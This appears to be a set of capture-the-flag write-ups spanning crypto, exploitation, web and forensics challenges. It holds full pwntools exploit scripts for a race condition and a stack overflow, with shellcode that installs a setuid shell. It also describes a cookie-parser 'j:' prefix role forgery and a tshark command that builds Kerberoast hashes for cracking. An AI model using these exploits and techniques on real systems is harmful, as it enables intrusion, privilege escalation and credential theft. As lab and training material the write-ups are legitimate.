Step 1: Tom Riddle’s Diary#

Follow hint: Hex > Base64 > Reverse > Binary > ROT13.

Fragment 1: M3M0RY_0F_TH3_H31R

Step 2: Marvolo Gaunt’s Ring#

Fragment 2: CURS3_0F_TH3_G4UNT

Step 3: Slytherin’s Locket#

Fragment 3: S3CR3T_0F_S4L4Z4R

Step 4: Hufflepuff’s Cup#

Fragment 4: V3SS3L_0F_H3LG4

Step 5: Ravenclaw’s Diadem#

Key is in challenge file: RAVENCLAW

Fragment 5: W1SD0M_B3Y0ND_M34SUR3

Step 6: Nagini Voldemort’s great serpent#

Key is in challenge file: BASILISK

Fragment 6: V3N0M_0F_TH3_D4RK_L0RD

Step 7: Harry Potter The seventh and final Horcrux#

Key and fragment is in the source file.

Fragment 7: N31TH3R_C4N_L1V3

Step 8: Collect all fragments to get encrypted flag#

Look like encrypted data, so have once hint at the first fragment.

Where is the key?

After inspecting the web I found a comment on the page source.

Key: VoldemortTheDarkLord

However, AES keys use 16 bytes, after truncation it leaves: VoldemortTheDark

I don’t know IV, fill it with zero.

Flag is not full, try another mode.

ECB mode.

Step 1: Recon#

“A failed recovery can destabilize the observing operator.” It will get something when recovery fails.

If still awake then get “Wake sequence rejected: unsafe dream activity.”

But if you keep the first connection with SLEEP state and run WAKE in the second connection can it wake? So it confirmed the state is shared.

If the first connection SLEEP and DIVE and second connection run WAKE you will get “Wake sequence rejected: unsafe dream activity.”

Step 2: Hypothesis#

So will it be possible to make race conditions?

• A: SLEEP
• B: WAKE and hold subject name input
• A: DIVE
• B: type enter

Yes it get shell (BusyBox)

Step 3: Write exploit script#

1
from pwn import *
2
PORT = 1337
3

4
p1 = remote("127.0.0.1", PORT)
5
p1.recvuntil(b"wakeup> ")
6
p1.sendline(b"SLEEP")
7
p1.recvuntil(b"wakeup> ")
8

9
p2 = remote("127.0.0.1", PORT)
10
p2.recvuntil(b"wakeup> ")
11
p2.sendline(b"WAKE")
12
p2.recvuntil(b"Subject name: ")
13

14
p1.sendline(b"DIVE")
15
p1.recvuntil(b"wakeup> ")
16

17
p2.sendline(b"test")
18
p2.interactive()

Step 4: Find the flag#

You will get first flag at /home/user1/flag1

Step 1: Recon#

Continuing from Part 1, now we have an exploit to get the shell of target and challenge have 3 parts, all flags are in /mnt/flags.

Have user2 in this machine.

Found file onirism is owned by user2.

And this elf file has SUID/SGID, will privilege escalate to user2?

Steal from a machine with base64 encoding.

Step 2: Binary analysis#

No libc.

entry > FUN_0040104e > FUN_00401000

FUN_00401000 calling to FUN_00401110

FUN_00401110 reads data from STDIN

• EAX = 0 (system call read)

Buffer allocates 72 bytes, but reads 104 bytes, now this is stack overflow.

Other functions calling system calls

• FUN_00401120 - 0x1 write
• FUN_00401130 - 0x9d prctl
• FUN_00401140 - 0x13d seccomp
• FUN_00401150 - 0x3c exit

Gadgets

• 0x401160 - jmp rsp

Step 3: Privilege escalation to user2#

Idea, will exploit this binary with 2 stages.

Use stack overflow to overwrite the return address to controlling program flow.

First, create a custom shell, this elf will set UID=1002 and GID=1001 before exec /bin/sh.

• First stage - will read stage 2 payload from stdin
• Second stage - will set UID/GID to 1002 for copy custom shell (ush) to /tmp/xsh with set SUID
• Next time we can run /tmp/xsh will get shell of user2

1
from pwn import *
2
import gzip
3

4
context.arch = "amd64"
5
PORT = 1337
6

7
ush_asm = """
8
    mov eax, 117
9
    mov edi, 1002
10
    mov esi, 1002
11
    mov edx, 1002
12
    syscall
13
    mov eax, 119
14
    mov edi, 1002
15
    mov esi, 1002
16
    mov edx, 1002
17
    syscall
18
    lea rdi, [rip+path]
19
    xor eax, eax
20
    push rax
21
    push rdi
22
    mov rsi, rsp
23
    xor edx, edx
24
    mov eax, 59
25
    syscall
26
    mov eax, 60
27
    xor edi, edi
28
    syscall
29
path: .asciz "/bin/sh"
30
"""
31

32
USH = b64e(gzip.compress(ELF.from_bytes(asm(ush_asm)).data)).encode()
33

34
stage1 = asm("""
35
    xor eax, eax
36
    xor edi, edi
37
    sub rsp, 0x300
38
    mov rsi, rsp
39
    mov edx, 0x300
40
    syscall
41
    jmp rsp
42
""")
43

44
stage2 = asm("""
45
    mov eax, 117
46
    mov edi, 1002
47
    mov esi, 1002
48
    mov edx, 1002
49
    syscall
50
    mov eax, 119
51
    mov edi, 1002
52
    mov esi, 1002
53
    mov edx, 1002
54
    syscall
55
    lea rdi, [rip+sh]
56
    lea rbx, [rip+cmd]
57
    lea rcx, [rip+dashc]
58
    xor eax, eax
59
    push rax
60
    push rbx
61
    push rcx
62
    push rdi
63
    mov rsi, rsp
64
    xor edx, edx
65
    mov eax, 59
66
    syscall
67
sh: .asciz "/bin/sh"
68
dashc: .asciz "-c"
69
cmd: .asciz "cp /tmp/ush /tmp/xsh; chmod 4755 /tmp/xsh"
70
""")
71

72
p1 = (b"A" * 0x48 + p64(0x401160) + stage1).ljust(0x68, b"\x90")
73

74
# reset state
75
r = remote("127.0.0.1", PORT)
76
r.recvuntil(b"wakeup> "); r.sendline(b"SLEEP"); r.recvuntil(b"wakeup> ")
77
r.sendline(b"WAKE"); r.recvuntil(b"Subject name: "); r.sendline(b"reset")
78
r.recvuntil(b"wakeup> "); r.sendline(b"QUIT"); r.close()
79

80
# race -> user1 shell
81
a = remote("127.0.0.1", PORT)
82
a.recvuntil(b"wakeup> "); a.sendline(b"SLEEP"); a.recvuntil(b"wakeup> ")
83
a.sendline(b"WAKE"); a.recvuntil(b"Subject name: ")
84

85
b = remote("127.0.0.1", PORT)
86
b.recvuntil(b"wakeup> "); b.sendline(b"DIVE"); b.recvuntil(b"wakeup> ")
87

88
a.sendline(b"test")
89
a.recvuntil(b"~ $ ")
90

91
# install setuid user2 helper
92
a.sendline(b"echo -n " + USH + b" | base64 -d | gunzip > /tmp/ush; chmod 755 /tmp/ush")
93
a.recvuntil(b"~ $ ")
94
a.sendline(b"echo " + b64e(p1).encode() + b" | base64 -d > /tmp/p1")
95
a.recvuntil(b"~ $ ")
96
a.sendline(b"echo " + b64e(stage2).encode() + b" | base64 -d > /tmp/p2")
97
a.recvuntil(b"~ $ ")
98
a.sendline(b"cat /tmp/p1 /tmp/p2 | /usr/local/bin/onirism")
99
a.recvuntil(b"~ $ ")
100

101
# user2 shell
102
a.sendline(b"/tmp/xsh")
103
a.interactive()

Step 4: Exploit and get flag#

Step 1: Analyze source code#

Target of challenge is fetch flag from /api/flag, with role super_admin

So this code is normally, a new user will get a role user, admin user is random password.

How do you get role super_admin?

It looks like the admin can set a super_admin role for the user but not allow it.

Ok first we should get an admin account.

After reviewing the flow of code we found a middleware trust signed cookie.

So if you use cookie-parser middleware you will know about the j prefix string.

README of cookie-parser.

index.js

Example challenge in using this feat, here: https://ctftime.org/writeup/34007

Back to the challenge, now we know vul of this flow is some middleware trusted signedCookies and signed cookie will get from parsing cookie session.

So this web app stores user role in the client with a cookie, and trusts it by signing.

What if username is like this

1
j:"admin"

The parser will parse it to

1
admin

Step 2: Create attack flow#

Ok we know the target is cookie-parser.

• Client register with username like j:“admin”
• cookie-parser finds the j: prefix and replaces the cookie value with the JSON-parsed remainder. As a result, the user key becomes admin.
• Use refresh-cookie to clean user key from j:"admin" > admin
• User admin is hardcoded in runtime with admin role, after refreshing the setSession function will get the role of admin from objects to set in cookie.
• Now we are admin.

Back to promote api

Not allow admin set super_admin role, but role is stored in cookie session same as user, just use the same method.

Step 3: Exploit#

Set user as j:"admin"

After refresh cookie

Promote user admin as role j:"super_admin"

After refresh cookie

Step 4: Get flag#

Step 1: Question 1#

What is the full URL of the page that initiated the attack? (Format: http://…)

The challenge asks for http.

Found some suspicious request, 192.168.61.147 get powershell script from 18.136.142.248.

So the first request of 2 endpoint is path /cdn/docs/verify.html

Answer: http://18.136.142.248/cdn/docs/verify.html

Step 2: Question 2#

What PowerShell script was downloaded and executed by the victim? Provide the full download URL. (Format: http://…)

Continue from question 1, at suspicious request.

Answer: http://18.136.142.248/cdn/update.ps1

Step 3: Question 3#

What technology is the threat actor using for command and control? (Format: product name in one word)

At response /cdn/update.ps1.

Answer: MinIO

Step 4: Question 4#

What is the C2 polling interval in seconds? (Format: number only)

At response /cdn/update.ps1.

Answer: 30

Step 5: Question 5#

What additional tools were delivered to the workstation through the C2 channel? List filenames comma-separated in download order. (Format: file1,file2)

In WS-01.json is a task file (from commander).

Has a task to fetch health.exe from C2 server.

And diag.exe

Answer: health.exe,diag.exe

Step 6: Question 6#

What is the C2 task ID that led the threat actor to discover the password manager database file? (Format: task ID only, e.g. 001)

At task id 002, is command to list directory and found keepass password database and note file.

Answer: 002

Step 7: Question 7#

What files were exfiltrated before the tunnel was established? Provide filenames comma-separated. (Format: file1,file2)

Follow the upload path.

corp.kdbx

20260730063148_BloodHound.zip

Answer: corp.kdbx,20260730063148_BloodHound.zip

Step 8: Question 8#

What is the master password of the exfiltrated password manager database file? (Format: plaintext password)

Continue file corp.kdbx found in question 7, and export it.

So this pcap file doesn’t have the password of this database file, try brute-force with john.

Found with rockyou wordlist.

Answer: butterfly1

Step 9: Question 9#

What tunneling tool was deployed, and what port does it connect to? (Format: toolname)

Found diag.exe executed with flag -connect.

Port 11601 is like ligolo-ng.

For confirmation export diag.exe to check, this file is golang and the module list with go tool will find the module of ligolo-ng.

Answer: ligolo-ng:11601

Step 10: Question 10#

What staging files did the attacker delete during cleanup? List filenames comma-separated in the order they appear in the command. (Format: file1,file2,…)

At task id 009 have command to delete 2 files, health.exe and all *BloodHound.zip.

At task 006c is command to list Downloads directory is and found 20260730063148_BloodHound.zip.

Answer: health.exe,20260730063148_BloodHound.zip

Step 11: Question 11#

What account was used to authenticate to the Domain Controller after the tunnel was established? (Format: username only)

Domain controller, focus to LDAP and ligolo-ng is started at time 1089 sec.

Filter with ldap and focus packet after 1089 sec.

User name: helpdesk.svc

Answer: helpdesk.svc

Step 12: Question 12#

List all service accounts targeted in the Kerberoasting attack, comma-separated. (Format: DOMAIN\account1,DOMAIN\account2,…)

After auth with user helpdesk.svc. Filter to kerberos.

WOWZA.LOCAL\svc_backup

WOWZA.LOCAL\svc_sqlreport

WOWZA.LOCAL\svc_websync

Answer: WOWZA.LOCAL\\svc_backup,WOWZA.LOCAL\\svc_sqlreport,WOWZA.LOCAL\\svc_websync

Step 13: Question 13#

Which service account’s password was cracked, and what is the password? (Format: username)

Try to brute-force with john, Extract cipher from packet to create hash file.

1
tshark -r ClickBridge.pcapng \
2
    -Y 'frame.number==156949' \
3
    -T fields -E separator='|' \
4
    -e kerberos.SNameString \
5
    -e kerberos.encryptedTicketData_cipher \
6
  | awk -F'|' '{
7
    c=$2
8
    printf "$krb5tgs$23$*helpdesk.svc$WOWZA.LOCAL$%s*$%s$%s\n", \
9
      $1, substr(c,1,32), substr(c,33)
10
  }' > tgs.hash

Password: trustno1

Found with rockyou wordlist.

Answer: svc_backup:trustno1

Step 14: Question 14#

What SMB share was accessed on the Domain Controller? (Format: \IP\sharename)

SMB, this is encrypted but we have a user of this session, so we are using AI to create a tool for decrypting packets.

1
#!/usr/bin/env python3
2
"""Decrypt the SMB 3.1.1 session used by the ClickBridge attack."""
3

4
from __future__ import annotations
5

6
import argparse
7
import hashlib
8
import hmac
9
import re
10
import struct
11
import subprocess
12
from dataclasses import dataclass
13
from pathlib import Path
14

15
from Crypto.Cipher import AES, ARC4
16
from Crypto.Hash import MD4
17

18
@dataclass(frozen=True)
19
class Record:
20
    frame: int
21
    source: str
22
    payload: bytes
23

24
def parse_arguments() -> argparse.Namespace:
25
    parser = argparse.ArgumentParser(
26
        description="Decrypt SMB 3.1.1 transform packets from ClickBridge."
27
    )
28
    parser.add_argument("pcap", type=Path, help="Path to the PCAPNG file")
29
    parser.add_argument("--stream", type=int, default=1010, help="SMB TCP stream")
30
    parser.add_argument("--client", default="192.168.61.147", help="SMB client IP")
31
    parser.add_argument("--username", default="svc_backup", help="NTLM username")
32
    parser.add_argument("--domain", default="WOWZA", help="NTLM domain")
33
    parser.add_argument("--password", default="trustno1", help="NTLM password")
34
    return parser.parse_args()
35

36
def load_records(pcap: Path, stream: int) -> list[Record]:
37
    command = [
38
        "tshark",
39
        "-r",
40
        str(pcap),
41
        "-Y",
42
        f"tcp.stream == {stream} && tcp.payload",
43
        "-T",
44
        "fields",
45
        "-E",
46
        "separator=|",
47
        "-e",
48
        "frame.number",
49
        "-e",
50
        "ip.src",
51
        "-e",
52
        "tcp.payload",
53
    ]
54
    result = subprocess.run(command, check=True, capture_output=True, text=True)
55
    records = []
56

57
    for line in result.stdout.splitlines():
58
        frame, source, payload_hex = line.split("|", maxsplit=2)
59
        payload = bytes.fromhex(payload_hex)
60

61
        if len(payload) < 4:
62
            continue
63

64
        records.append(Record(int(frame), source, payload[4:]))
65

66
    if not records:
67
        raise ValueError("No TCP payloads found for the requested stream.")
68

69
    return records
70

71
def derive_session_key(
72
    records: list[Record], username: str, domain: str, password: str
73
) -> bytes:
74
    auth_packet = next(
75
        record.payload[record.payload.index(b"NTLMSSP") :]
76
        for record in records
77
        if b"NTLMSSP\x00\x03" in record.payload
78
    )
79

80
    nt_length, _, nt_offset = struct.unpack_from("<HHI", auth_packet, 20)
81
    key_length, _, key_offset = struct.unpack_from("<HHI", auth_packet, 52)
82
    nt_proof = auth_packet[nt_offset : nt_offset + nt_length][:16]
83
    encrypted_session_key = auth_packet[key_offset : key_offset + key_length]
84

85
    nt_hash = MD4.new(password.encode("utf-16le")).digest()
86
    ntlm_v2_hash = hmac.new(
87
        nt_hash,
88
        f"{username.upper()}{domain}".encode("utf-16le"),
89
        hashlib.md5,
90
    ).digest()
91
    session_base_key = hmac.new(ntlm_v2_hash, nt_proof, hashlib.md5).digest()
92

93
    return ARC4.new(session_base_key).decrypt(encrypted_session_key)
94

95
def derive_smb_keys(records: list[Record], session_key: bytes) -> tuple[bytes, bytes]:
96
    smb2_packets = [record.payload for record in records if record.payload.startswith(b"\xfeSMB")]
97

98
    if len(smb2_packets) < 6:
99
        raise ValueError("Expected SMB negotiate and session setup packets were not found.")
100

101
    preauth_hash = b"\x00" * 64
102

103
    # The first SMB2 packet is the SMB1-to-SMB2 negotiation response. The
104
    # pre-authentication chain for this session starts at the next request.
105
    for packet in smb2_packets[1:6]:
106
        preauth_hash = hashlib.sha512(preauth_hash + packet).digest()
107

108
    def derive(label: bytes) -> bytes:
109
        material = (
110
            b"\x00\x00\x00\x01"
111
            + label
112
            + b"\x00"
113
            + preauth_hash
114
            + b"\x00\x00\x00\x80"
115
        )
116
        return hmac.new(session_key, material, hashlib.sha256).digest()[:16]
117

118
    return derive(b"SMBC2SCipherKey\x00"), derive(b"SMBS2CCipherKey\x00")
119

120
def decrypt_packets(records: list[Record], client_ip: str, client_key: bytes, server_key: bytes) -> None:
121
    for record in records:
122
        packet = record.payload
123

124
        if not packet.startswith(b"\xfdSMB"):
125
            continue
126

127
        key = client_key if record.source == client_ip else server_key
128
        nonce = packet[20:31]
129
        ciphertext = packet[52:]
130
        plaintext = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=16).decrypt(ciphertext)
131

132
        if not plaintext.startswith(b"\xfeSMB"):
133
            continue
134

135
        strings = [
136
            match.group().decode("utf-16le")
137
            for match in re.finditer(rb"(?:[\x20-\x7e]\x00){4,}", plaintext)
138
        ]
139
        print(f"Frame {record.frame}")
140
        print(f"SMB2 plaintext: {plaintext.hex()}")
141

142
        if strings:
143
            print("UTF-16LE strings:")
144
            for value in strings:
145
                print(f"  {value}")
146

147
        print()
148

149
def main() -> None:
150
    arguments = parse_arguments()
151
    records = load_records(arguments.pcap, arguments.stream)
152
    session_key = derive_session_key(
153
        records,
154
        arguments.username,
155
        arguments.domain,
156
        arguments.password,
157
    )
158
    client_key, server_key = derive_smb_keys(records, session_key)
159
    decrypt_packets(records, arguments.client, client_key, server_key)
160

161
if __name__ == "__main__":
162
    main()

Answer: \\192.168.61.149\backups$

Step 15: Question 15#

What files were exfiltrated from the share? Provide filenames comma-separated. (Format: file1,file2)

In the same session, use the tool from question 14, which has 2 files.

Answer: ServiceAccounts.csv,HR_Leavers_2026.csv

Step 16: Get flag#

Step 1: Question 1#

From the provided challenge files, which software produced this artifact?

Name of challenge directory, MSTeams

Answer: Microsoft Teams

Step 2: Question 2#

To recover the chat conversation history from the files you have, which file should you examine?

Microsoft team stores conversation in IndexedDB.

Answer: https_teams.live.com_0.indexeddb.leveldb

Step 3: Question 3#

After analyzing that file and finding evidence of the chat, what company is mentioned as the creator of QRQR?

https://github.com/google/dfindexeddb tool for parsing indexeddb / leveldb

Understand record format and write script to dump conversation.

1
import json
2

3
data = [json.loads(line) for line in open("work2/teams.jsonl") if line.strip()]
4
r = []
5

6
for x in data:
7
    try:
8
        mm = x["value"]["value"]["messageMap"]
9
    except:
10
        continue
11
    for msg in mm.values():
12
        r.append([
13
            msg.get("originalArrivalTime") or 0,
14
            msg.get("sequenceId") or 0,
15
            msg.get("creator"),
16
            msg.get("content"),
17
        ])
18

19
r.sort(key=lambda m: (m[0], m[1]))
20
seen = set()
21
for t, seq, creator, content in r:
22
    key = content
23
    if key in seen:
24
        continue
25
    seen.add(key)
26
    print(creator, content)

QRQR by Denso.

Answer: Denso

Step 4: Question 4#

The two people were exchanging a hidden coded message. What is the secret message?

Conversation has # and .

Try to filter messages.

1
# ...
2
for t, seq, creator, content in r:
3
    # ...
4
    if "#" in content and "." in content and " " not in content:
5
        print(content.replace("<p>", "").replace("</p>", ""))

33x33 ascii looks like QR Code.

Convert it back to QR code.

1
from PIL import Image
2

3
grid = [l.strip() for l in open("data.txt") if l.strip()]
4
s, q = 10, 4
5
w = len(grid[0])
6
img = Image.new("1", ((w + 2*q) * s, (w + 2*q) * s), 1)
7
px = img.load()
8
for y, row in enumerate(grid):
9
    for x, ch in enumerate(row):
10
        if ch == "#":
11
            for dy in range(s):
12
                for dx in range(s):
13
                    px[(x + q) * s + dx, (y + q) * s + dy] = 0
14
img.save("qr.png")

Decode it.

Answer: STDIOCTF2026{I_kn0w_wh4t_y0u_t4lking_e4ch_0th3r}

Step 5: Get flag#

Step 1: Scan#

Found SampleMyUGCMecchaCModKit_Load-Windows_P.pak contains some suspicious file names, It is a package of UnrealEngine.

Step 2: Unpack#

This file can be unpacked with https://github.com/trumank/repak tool.

This script will stream output from C2 to console only, but the victim can’t see output from this script because -w hidden flag.

Step 3: Answer the question Q1, Q2#

[Q1] What is the filename of the malicious script contained in this workshop map? Answer format - file.exe

Answer: s.bat

[Q2] Once that map was executed, what C2 server and port were contacted? Answer format - C2_server

Answer: sus.mirthz.xyz:1337

Step 4: Answer the question Q3#

Challenge requires me to connect to port 6767 of C2 server

After connecting to port 6767 will get a secret string.

[Q3] Once you have identified the actor, retrieve the secret message from that C2 server on port 6767, So what is the secret message?

Answer: M3cch4_Ch4m3l30n_1s_th3_b3st_1ndy_g4m3

Step 5: Get the flag#